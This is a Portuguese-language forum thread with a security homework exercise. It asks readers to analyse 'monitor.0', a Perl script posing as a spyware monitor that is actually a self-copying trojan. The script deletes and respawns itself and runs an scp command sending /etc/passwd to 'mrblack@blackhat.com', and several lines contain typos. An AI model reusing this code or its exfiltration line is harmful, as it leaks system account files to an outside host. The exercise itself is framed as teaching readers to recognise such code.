Perl- alguem domina esta linguagem?

Iniciado por enila, 31 de Maio de 2011, 18:58

tópico anterior - próximo tópico

enila

Vc que tem conhecimento com a linguagem perl, pode me ajudar com a questao abaixo?

Mr. White trabalha como sysadmin em um banco . Um dia ele recebe um  email de amigo, MR.Grey, que diz que havia  feito um instrumento útil de monitoramento que podem ser executados em segundo plano e que  detectar e remover spydeware. O programa é chamado de "monitor. 0"  
Ele se refere ao codigo abaixo :

@nm=split("[.]" , $0);
$nm[ 1]++;
$newName="$nm[ 0].$nm[ 1]";
$newBin=$nm[1];
open(F1,"$0");
@f1=<F1>;
close F1;

unlink $0;
&pligin;
open(F2,">$newName");
foreach (@f1)
{
print F2 $_;
} close F2,
system" cp /usr/bin/perl ./$newBin";
system " ./$newBin $newName &";
system " scp  /etc/passwd mrblack@blackhat.com:/home/mrblack";
sleep 1;
system "rm $newBin";
sub plugin {print monitor running! \n";
#put your own pluging here!
Sleep 10;
}




Dica:

O programa executa com o comando $ perl monitor.0. Uma característica importante do monitor de .0 é que ele pode ser expandido.
Mr. Grey tem escrito uma sub-rotina chamada "plugin" que ainda nao faz muita coisa. Portanto o  Mr. White  pode adicionar suas próprias extensões. Mr. White recorda o Sr. Grey como um programador habilidoso e tem procurado há muito tempo por uma boa ferramenta de monitoramento.
Ele  entäo salvar o anexo e começar a implementar e dar inicio as extensões. Ele sente que ele deveria examinar o código um pouco mais antes de ele iniciar o monitoramento  do servidor (Ubuntu Server Edition) do tal banco .

DICA:

 1 dividir ("[.]") divida o caractere com o ponto.
2 unlink é um perl-commando que tira o aquivo do  sistema.
3 $0 é uma  referencia  do nome do  script que roda. Isso vale mesmo para os  scripts que inicia com $ perl script.pl og $./script.pl
 

a) Comece examinando "subrutinas plugin "e explicar brevemente o que acontece.

b) escreva um subrutine chamado winlog. Rutinen ira abrir o arquivo / powershellImport/syslog.txt  com o comando  perl abrira,   e com a ajuda do  "código  perl"  contar a quantidade de linhas  do arquivo. O  que ira aparecer  sera fechado após o uso, na forma adequada. E a quantidade de linhas sera  impréssas na tela.

c)   Leia o programa monitor.0 e descrever em geral, que o programa faz.
Sua resposta deve ser curta e concreta.

d) Suponha que o programa "monitor. 0"  foi executado por uma hora. Como você  iria adiante  para terminar o programa?

Tota

Ola

Poste o que voce já fez para resolver, pois como postou, parece "lição de casa".

Dando os detalhe de qual ponto voce tem duvidas, é bem poosível que o forum ajude.

[]'s

Movido para a sessão de programação e scripts

fpissarra

Se não me engano, desenvolvimento de malware é inpróprio, segundo as regras do forum!